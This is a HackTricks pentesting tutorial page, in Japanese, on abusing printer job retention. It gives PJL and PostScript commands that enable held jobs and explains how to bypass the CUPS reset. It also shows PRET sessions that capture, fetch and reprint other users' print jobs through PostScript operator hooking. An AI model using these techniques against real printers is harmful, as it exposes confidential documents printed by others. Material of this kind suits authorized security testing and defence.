hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md
2023-07-07 23:42:27 +00:00

11 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ジョブの保持

一部のプリンターは、Webサーバーからアクセス可能な保存された印刷ジョブを持っています。ただし、通常、ジョブの保持は特定の印刷ジョブに対して明示的に有効にする必要があり、標準のPJLコマンドまたは独自のPostScriptコードを使用して行うことができます。ジョブはメモリに保持され、コントロールパネルから再印刷することができます。

PJL

以下に示すように、PJL HOLD変数を設定することで、現在のドキュメントの正当なジョブの保持を有効にすることができます。

@PJL SET HOLD=ON
[actual data to be printed follows]

印刷ジョブはメモリに保持され、プリンタのコントロールパネルから再印刷することができます。この機能はさまざまなプリンタでサポートされていますが、いくつかのEpsonデバイスのみが@PJL DEFAULT HOLD=ONを使用して永続的なジョブ保持を設定することができるようです。

この攻撃をテストする方法

PRET holdコマンドを使用して、pjlモードで永続的なジョブ保持が設定できるかどうかを確認します。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScriptは、同様の機能を提供しますが、モデルやベンダーに依存します。HP LaserJet 4kシリーズやさまざまな京セラプリンタでは、ジョブの保持を有効にするために、次のコマンドをPostScriptドキュメントの先頭に追加します。

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice

理論的には、startjobオペレータを使用してPostScriptジョブの保持を永久に有効にすることが可能ですが、この設定はCUPSによって各印刷ジョブの開始時に明示的にリセットされます。<< /Collate false >> setpagedeviceを使用して。ただし、この保護メカニズムに対抗するために、攻撃者はsetpagedeviceオペレータを完全に無効に再定義することができます。

この攻撃をテストする方法

PRETのpsモードからholdコマンドを使用します。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

ジョブのキャプチャ

前述のように、印刷ダイアログでジョブの保持を有効にすることは可能ですが、一般的ではありません。しかし、PostScriptを使用すると、現在の印刷ジョブに完全なアクセス権があり、startjobオペレータを使用してサーバーループから抜け出し、将来のジョブにアクセスすることさえ可能です。このような機能を使用すると、PostScriptがプリンタードライバとして使用されている場合、すべてのドキュメントをキャプチャすることができます。

PostScript

任意のPostScriptオペレータにフックする機能を持つため、外部の印刷ジョブを操作およびアクセスすることが可能です。プリンターに送信される実際のデータストリームを解析するために、PostScript言語の非常にクールな機能を利用することができます。それは、currentfileオペレータを使用して自分自身のプログラムコードをデータとして読み取ることです。この方法で、PostScriptインタプリタによって処理されるデータストリーム全体にアクセスし、プリンターデバイス上のファイルに読み取り、保存することができます。プリンターがファイルシステムアクセスを提供しない場合、キャプチャされたドキュメントはメモリに保存されることもあります。たとえば、永続的なPostScript辞書内に保存されます。

実際の問題は、どのオペレータをフックするかを決定することです。なぜなら、PostScriptインタプリタによってこのオペレータが処理されるまで、データストリームにアクセスすることはできないからです。攻撃者はジョブを最初からキャプチャしたいため、再定義されたオペレータはPostScriptドキュメントに含まれる最初のオペレータでなければなりません。幸いなことに、CUPSで印刷されるすべてのドキュメントは、currentfile /ASCII85Decode filter /LZWDecode filter cvx execで始まる固定構造に圧縮されます。このような固定構造の前提に基づいて、攻撃者はドキュメントを最初からキャプチャし、その後つまり印刷ファイルを実行することができます。CUPS以外の印刷システムについても、この攻撃は可能であるはずですが、オペレータを適応する必要があります。この方法では、通常メディアサイズ、ユーザー名、ジョブ名などが含まれるPostScriptヘッダはキャプチャできません。なぜなら、実際のドキュメントの最初にフックするからです。すべての印刷ジョブの最初にフックするためのもう1つの一般的な戦略は、プリンターがサポートしている場合にBeginPageシステムパラメータを設定することですほとんどのプリンターがサポートしています。この脆弱性は、PostScript標準で定義された言語構造だけが悪用されるため、おそらく数十年にわたって印刷デバイスに存在していると考えられています。

psモードでPRETcaptureコマンドを使用します。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture
Print job operations:  capture <operation>
capture start   - Record future print jobs.
capture stop    - End capturing print jobs.
capture list    - Show captured print jobs.
capture fetch   - Save captured print jobs.
capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

次に、任意のドキュメントを印刷します印刷チャネルがブロックされないように、PRETが切断されていることを確認してください。その後、キャプチャされたドキュメントをリスト、取得、または再印刷することができます。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -
Jan 25 18:40  170K  -              -                       -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥